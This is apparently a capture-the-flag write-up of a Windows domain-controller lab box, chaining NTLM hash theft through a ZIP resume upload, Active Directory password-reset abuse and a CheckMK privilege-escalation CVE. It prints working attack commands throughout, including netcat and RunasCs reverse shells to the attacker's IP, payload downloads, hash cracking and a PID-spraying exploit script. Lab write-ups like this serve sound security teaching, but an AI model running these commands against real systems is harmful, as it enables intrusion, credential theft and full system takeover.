Summary:

This box is leaning on the easier side of “hard” machines, as the exploit chain is relatively short and straightforward. It starts with finding a job portal that allows uploading ZIP files. There’s no validation on the contents within the ZIP file, which lets me place malicious Windows shell files in it, and they leaked a crackable NTLM hash of a service account when opened. This account has permission to reset the password of another service account, which gives WinRM access. Once on the box, I’ll find a vulnerable version of CheckMK running, and I’ll exploit it with an arbitrary file write CVE.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ sudo nmap --min-rate 1000 -p- 10.129.26.191

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 23:41 ACDT
Nmap scan report for 10.129.26.191
Host is up (0.27s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49664/tcp open  unknown
49669/tcp open  unknown
49671/tcp open  unknown
63562/tcp open  unknown
63579/tcp open  unknown
64463/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 132.17 seconds


┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ sudo nmap -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49664,49669,49671,63562,63579,64463 10.129.26.191

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 23:45 ACDT
Nmap scan report for 10.129.26.191
Host is up (0.28s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://nanocorp.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-12 20:16:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63562/tcp open  msrpc         Microsoft Windows RPC
63579/tcp open  msrpc         Microsoft Windows RPC
64463/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-12T20:17:15
|_  start_date: N/A
|_clock-skew: 7h00m02s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   275.14 ms 10.10.14.1
2   275.69 ms 10.129.26.191

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.44 seconds


This looks like a domain controller with a web server running. WinRM is also open on port 5986.

TCP80 - HTTP:

The page shows a cybersecurity company. Clicking on each button shows a popup.

One of them is a contact form:

Clicking “submit” triggers a POST request to the home page, but does nothing.

“About us” shows an apply button. Clicking on it redirects to hire.nanocorp.htb.

hire.nanocorp.htb:

It’s a job application portal. Interestingly it takes resume in ZIP format instead of something like PDFs. I’ll upload a ZIP containing a text file, and it returned this message:

I checked the POST request and response, and it does not reveal the upload location. GoBuster found /uploads, but it always returns 403, perhaps the file is renamed after being uploaded. The page response hinted that someone will review the uploaded file though.

NTLM Forced Authentication:

I did some further testing, and while it blocks uploading anything other than ZIP files, there’s seemingly zero restrictions on what’s inside the ZIP. Since it’s a Windows machine, I can zip up some malicious Windows shell files that would force authentication to my host whenever it’s opened, leaking the opening user’s NTLMv2 hash. I’ve done this previously in Flight, and I’ll be using the ntlm_theft tool once again.

It supports all sorts of files such as .url, .lnk, .scf and Office documents. I don’t know which one would work on the box, so I included all of them in the ZIP.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp/ntlmtheft]
└─$ python ntlm_theft.py --generate all --server 10.10.14.66 --filename exploit

/home/ch3ng/machines/nanoCorp/ntlm_theft/ntlm_theft.py:168: SyntaxWarning: invalid escape sequence '\l'
  location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
Created: exploit/exploit.scf (BROWSE TO FOLDER)
Created: exploit/exploit-(url).url (BROWSE TO FOLDER)
Created: exploit/exploit-(icon).url (BROWSE TO FOLDER)
Created: exploit/exploit.lnk (BROWSE TO FOLDER)
Created: exploit/exploit.rtf (OPEN)
Created: exploit/exploit-(stylesheet).xml (OPEN)
Created: exploit/exploit-(fulldocx).xml (OPEN)
Created: exploit/exploit.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: exploit/exploit-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: exploit/exploit-(includepicture).docx (OPEN)
Created: exploit/exploit-(remotetemplate).docx (OPEN)
Created: exploit/exploit-(frameset).docx (OPEN)
Created: exploit/exploit-(externalcell).xlsx (OPEN)
Created: exploit/exploit.wax (OPEN)
Created: exploit/exploit.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: exploit/exploit.asx (OPEN)
Created: exploit/exploit.jnlp (OPEN)
Created: exploit/exploit.application (DOWNLOAD AND OPEN)
Created: exploit/exploit.pdf (OPEN AND ALLOW)
Created: exploit/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: exploit/exploit.library-ms (BROWSE TO FOLDER)
Created: exploit/Autorun.inf (BROWSE TO FOLDER)
Created: exploit/desktop.ini (BROWSE TO FOLDER)
Created: exploit/exploit.theme (THEME TO INSTALL
Generation Complete.


┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ cd exploit

┌──(ch3ng㉿localhost)-[~/.../nanocorp/ntlmtheft/exploit]
└─$ zip resume.zip *

adding: Autorun.inf (deflated 14%)
  adding: desktop.ini (deflated 2%)
  adding: exploit.application (deflated 63%)
  adding: exploit.asx (deflated 32%)
  adding: exploit-(externalcell).xlsx (deflated 13%)
  adding: exploit-(frameset).docx (deflated 12%)
  adding: exploit-(fulldocx).xml (deflated 89%)
  adding: exploit-(handler).htm (deflated 17%)
  adding: exploit.htm (deflated 16%)
  adding: exploit-(icon).url (deflated 12%)
  adding: exploit-(includepicture).docx (deflated 11%)
  adding: exploit.jnlp (deflated 25%)
  adding: exploit.library-ms (deflated 57%)
  adding: exploit.lnk (deflated 70%)
  adding: exploit.m3u (deflated 6%)
  adding: exploit.pdf (deflated 47%)
  adding: exploit-(remotetemplate).docx (deflated 9%)
  adding: exploit.rtf (deflated 3%)
  adding: exploit.scf (deflated 11%)
  adding: exploit-(stylesheet).xml (deflated 13%)
  adding: exploit.theme (deflated 53%)
  adding: exploit-(url).url (deflated 7%)
  adding: exploit.wax (deflated 25%)
  adding: zoom-attack-instructions.txt (deflated 10%)


Before uploading, I’ll start the responder server:

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ sudo responder -I tun0

 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.6.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
..SNIP..

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.66]
    Responder IPv6             [dead:beef:2::1040]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-2632AK5RSCI]
    Responder Domain Name      [OTP3.LOCAL]
    Responder DCE-RPC Port     [45946]

[+] Listening for events...

[!] Error starting UDP server on port 53, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.


Once the ZIP is uploaded, responder immediately caught over 10 authentication requests, all of them from web_svc. Looks like many of those files are triggering it.

Kali
[SMB] NTLMv2-SSP Client   : 10.129.26.191
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:9f71587ed1247eca:D902D6AE650F1A9CD353C3106F9F986E:0101000000000000804B8E853454DC01B7E3E3352E2B47A900000000020008004F0054005000330001001E00570049004E002D00320036003300320041004B003500520053004300490004003400570049004E002D00320036003300320041004B00350052005300430049002E004F005400500033002E004C004F00430041004C00030014004F005400500033002E004C004F00430041004C00050014004F005400500033002E004C004F00430041004C0007000800804B8E853454DC0106000400020000000800300030000000000000000000000000200000123B53FCD10612FEBFFD2E4C7E0689500DEC006E1004EC841F6DBCB54DDC7CBC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00360036000000000000000000
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc

The leaked hash is also crackable by john.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt web_svc.hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dksehdgh712!@#   (web_svc)     
1g 0:00:00:00 DONE (2025-11-13 00:32) 2.380g/s 4427Kp/s 4427Kc/s 4427KC/s domanick05..dig555
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.


Active Directory:

With creds, I can authenticate to SMB, but there’s no interesting shares. An RID brute force only returned 6 machine accounts and service accounts, which is pretty unusual for a domain controller. I ran a password spray, but no hits either.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ netexec smb nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --rid-brute | grep SidTypeUser

SMB                      10.129.26.191   445    DC01             500: NANOCORP\Administrator (SidTypeUser)
SMB                      10.129.26.191   445    DC01             501: NANOCORP\Guest (SidTypeUser)
SMB                      10.129.26.191   445    DC01             502: NANOCORP\krbtgt (SidTypeUser)
SMB                      10.129.26.191   445    DC01             1000: NANOCORP\DC01$ (SidTypeUser)
SMB                      10.129.26.191   445    DC01             1103: NANOCORP\web_svc (SidTypeUser)
SMB                      10.129.26.191   445    DC01             3101: NANOCORP\monitoring_svc (SidTypeUser)


I’ll also run BloodHound, and mark web_svc as owned. The pre-built query “shortest path from owned object” shows the following graph:

It can add itself to IT_SUPPORT, which then gives rights to force reset the password of monitoring_svc. This service account is in the REMOTE MANAGEMENT USERS group, which gives WinRM access.


Foothold:

monitoring_svc Account Takeover:

I’ll add web_svc to the group and force change monitoring_svc’s password, all done using bloodyAD:

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ bloodyAD --host dc01 -d nanocorp.htb -u web_svc -p 'dksehdgh712!@#' add groupMember "IT_SUPPORT" "web_svc"

[+] web_svc added to IT_SUPPORT


┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ bloodyAD --host dc01 -d nanocorp.htb -u web_svc -p 'dksehdgh712!@#' set password "monitoring_svc" "P@ssw0rd1"

[+] Password changed successfully!


Then I should be able to access WinRM as monitoring_svc using the new password, but somehow evil-winrm failed. Apparently it doesn’t work well with Kerberos and SSL, I’ll use winrmexec.py instead, and got a foothold successfully.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ timefake nanocorp.htb impacket-getTGT -dc-ip dc01.nanocorp.htb 'nanocorp.htb/monitoring_svc:P@ssw0rd1'

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in monitoring_svc.ccache


┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ KRB5CCNAME=monitoring_svc.ccache timefake nanocorp.htb python winrmexec.py -k -no-pass 'dc01.nanocorp.htb' -ssl

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-port' not specified, using 5986
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] '-spn' not specified, using HTTP/dc01.nanocorp.htb@NANOCORP.HTB
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB


PS C:\Users\monitoring_svc\Documents> whoami

nanocorp\monitoring_svc

Kerberos authentication is time-sensitive, so it’s important the timestamp in my authentication request matches the domain controller. timefake is a simple Bash function I created to do this:

timefake() {
    local timestamp=$(ntpdate -q $1 | cut -d ' ' -f 1,2)
    shift
    faketime $timestamp $*
}

The shell from winrmexec.py isn’t too stable, so I’ll try to get a better one using msfvenom.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.66 LPORT=8001 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe


I downloaded the payload and attempted to run it on the box, but it’s blocked:

DC01
C:\Users\monitoring_svc\Documents> iwr -uri http://10.10.14.66/shell.exe -Outfile shell.exe

C:\Users\monitoring_svc\Documents> .\shell.exe

Program 'shell.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\shell.exe
+ ~~~~~~~~~~~.

I’ll try using nc.exe instead:

DC01
C:\Users\monitoring_svc\Documents> iwr -uri http://10.10.14.66/nc64.exe -o nc64.exe

C:\Users\monitoring_svc\Documents> Start-Job -ScriptBlock {.\nc64.exe 10.10.14.66 8001 -e cmd.exe}

Id     Name            PSJobTypeName   State         HasMoreData     Location             Command                  
--     ----            -------------   -----         -----------     --------             -------                  
1      Job1            BackgroundJob   Running       True            localhost            .\nc64.exe 10.10.14.66...

And it sent back a full shell. Defender being active on the box is something to be aware of though.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.191] 61489
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.


C:\Users\monitoring_svc\Documents> whoami

nanocorp\monitoring_svc

User Flag:

DC01
C:\Users\monitoring_svc\Desktop> type user.txt

f8b0df53************************


Escalation:

CheckMK:

Port 6556 is open. Although it says listening on 0.0.0.0, it didn’t show up in the Nmap scan. It’s likely blocked by some firewall rules.

DC01
C:\Users\monitoring_svc\Documents> netstat -ano | findstr /C:LISTENING
netstat -ano | findstr /C:LISTENING

 
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       5452
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       768
  TCP    0.0.0.0:5986           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:6556           0.0.0.0:0              LISTENING       3840
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       3044
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       544
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1240
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1612
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2112
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:63562          0.0.0.0:0              LISTENING       704
  TCP    0.0.0.0:63565          0.0.0.0:0              LISTENING       684
  TCP    0.0.0.0:63579          0.0.0.0:0              LISTENING       3064
  TCP    0.0.0.0:64463          0.0.0.0:0              LISTENING       3052
  ..SNIP..

I’m unsure what it’s for, so I tried checking running processes to get a better idea, but failed because I don’t have sufficient permissions.

DC01
C:\Users\monitoring_svc\Documents> tasklist /V

ERROR: Access denied

It’s the same for scheduled tasks.

DC01
C:\Users\monitoring_svc\Documents> wmic service get name,pathname,startname,state

ERROR:
Description = Access denied

C:\Users\monitoring_svc\Documents> schtasks /query /fo LIST

Access is denied.

Instead, I’ll check the programs folder, and noticed there’s a checkmk folder.

DC01
C:\Users\monitoring_svc\Documents> dir "C:\program files (x86)"

 
 Volume in drive C has no label.
 Volume Serial Number is 2EB6-7759

 Directory of C:\program files (x86)

04/05/2025  03:17 PM    <DIR>          .
04/05/2025  03:17 PM    <DIR>          checkmk
05/08/2021  12:34 AM    <DIR>          Common Files
11/03/2025  04:13 PM    <DIR>          Internet Explorer
05/08/2021  01:40 AM    <DIR>          Microsoft
05/08/2021  12:34 AM    <DIR>          Microsoft.NET
05/08/2021  01:35 AM    <DIR>          Windows Defender
11/03/2025  04:13 PM    <DIR>          Windows Mail
11/03/2025  04:13 PM    <DIR>          Windows Media Player
05/08/2021  01:35 AM    <DIR>          Windows NT
11/03/2025  04:13 PM    <DIR>          Windows Photo Viewer
05/08/2021  12:34 AM    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              12 Dir(s)   4,840,230,912 bytes free

Inside there’s a folder called service, but I have no access to that as well.

DC01
C:\Program Files (x86)\checkmk> dir

 
 Volume in drive C has no label.
 Volume Serial Number is 2EB6-7759

 Directory of C:\Program Files (x86)\checkmk

04/05/2025  03:17 PM    <DIR>          .
04/05/2025  03:17 PM    <DIR>          ..
04/05/2025  03:42 PM    <DIR>          service
               0 File(s)              0 bytes
               3 Dir(s)   4,838,424,576 bytes free

C:\Program Files (x86)\checkmk> cd service

Access is denied.

In fact, I can’t even check its ACL.

DC01
C:\Program Files (x86)\checkmk> icacls service

service: Access is denied.
Successfully processed 0 files; Failed processing 1 files

After doing some research online, I learned that CheckMK is an open-source IT management tool. By default it runs on port 6556, so this is likely the unknown service found above. I also found a public CVE on CheckMK that can result in privilege escalation.

CVE-2024-0670 Arbitrary File Write:

According to the writeup:

In some cases, the software creates temporary files inside the directory C:\Windows\Temp that get executed afterwards. An attacker can leverage this to place write-protected malicious files in the directory beforehand. The files get executed by Checkmk with SYSTEM privileges allowing attackers to escalate their privileges.

This usually happens during a repair installation, and the temporary files are named in the format cmk_all_<process_id>_1.cmd. While C:\Windows\Temp is typically writable by everyone, the process ID is unknown beforehand. The writeup did note that Windows assigns process IDs incrementally, which enables the attacker to predict a range of possible PIDs. The PoC provided exploits this by creating lots of copies of the malicious script, spraying across a range of PIDs in the filenames. Note that their PoC involves running an msfvenom-generated payload. Given Defender is active on this box, it’s likely gonna fail without adaptation.

However, this CVE was published more than a year prior to the release of this box, so the running instance may well be a patched one. I’ll first check its version before attempting any exploitation, apparently this information is stored as a registry entry (thanks ChatGPT :D).

DC01
PS C:\Users\monitoring_svc\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayName

displayName                                                   
-----------                                                   
                                                              
                                                              
WinRAR 7.11 (64-bit)                                          
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532
VMware Tools                                                  
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532

PS C:\Users\monitoring_svc\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayName

displayName                                                       
-----------                                                       
                                                                  
Microsoft Edge                                                    
Microsoft Edge Update                                             
                                                                  
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532
Check MK Agent 2.1                                                
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532       
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532

The installed version is 2.1, which, according to the writeup, is vulnerable!

I’ll first create a BAT script that runs nc.exe to send back a shell when executed:

DC01
PS C:\Users\monitoring_svc\Documents> echo "C:\users\monitoring_svc\documents\nc64.exe 10.10.14.66 8001 -e cmd.exe" > payload.bat

Then I’ll spray the file into the temp directory. I’ve slightly widened the PID range to be between 5000 and 30000:

DC01
PS C:\Users\monitoring_svc\Documents> 5000..30000 | foreach {copy c:\users\monitoring_svc\documents\payload.bat c:\windows\temp\cmk_all_${_}_1.cmd; Set-ItemProperty -path c:\windows\temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true; }

The final step is to trigger a repair install for CheckMK, but first I need to find its installer. This can also be found in the registry:

DC01
PS C:\Users\monitoring_svc\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products`\*\InstallProperties"

..SNIP..

LocalPackage        : C:\Windows\Installer\1e6f2.msi
AuthorizedCDFPrefix : 
Comments            : 
Contact             : 
DisplayVersion      : 2.1.0.50010
HelpLink            : https://checkmk.com
HelpTelephone       : 
InstallDate         : 20250405
InstallLocation     : 
InstallSource       : C:\Users\web_svc\Desktop\
ModifyPath          : MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
NoModify            : 1
Publisher           : tribe29 GmbH
Readme              : 
Size                : 
EstimatedSize       : 322297
UninstallString     : MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
URLInfoAbout        : https://checkmk.com
URLUpdateInfo       : 
VersionMajor        : 2
VersionMinor        : 1
WindowsInstaller    : 1
Version             : 33619968
Language            : 1033
DisplayName         : Check MK Agent 2.1
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
                      Installer\UserData\S-1-5-18\Products\C5D6A576A5FFFE11EA3A9176DA76D8D6\InstallProperties
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
                      Installer\UserData\S-1-5-18\Products\C5D6A576A5FFFE11EA3A9176DA76D8D6
PSChildName         : InstallProperties
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

..SNIP..

The installer I need is located at C:\Windows\Installer\1e6f2.msi, but running it returns an error. This is likely because monitoring_svc doesn’t have sufficient permission.

DC01
PS C:\Users\monitoring_svc\Documents> msiexec /fa C:\Windows\Installer\1e6f2.msi

The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.

The install source is C:\Users\web_svc\Desktop\ though, so web_svc would likely have the permissions. I’ll use RunasCs.exe to spawn a shell for it:

DC01
C:\Users\monitoring_svc\Documents> .\runascs.exe web_svc "dksehdgh712!@#" cmd.exe -r 10.10.14.66:8001

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-34cccc9$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5528 created in background.

In the new shell, I’ll run the CheckMK installer.

DC01
C:\Windows\system32> msiexec /fa c:\windows\installer\1e6f2.msi

After multiple tries, a SYSTEM shell is eventually sent back.

Kali
┌──(ch3ng㉿localhost)-[~/machines/nanocorp]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.191] 60888
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.


C:\Windows\system32> whoami

nt authority\system

Root Flag:

DC01
C:\Users\Administrator\Desktop> type root.txt

2939eb4f************************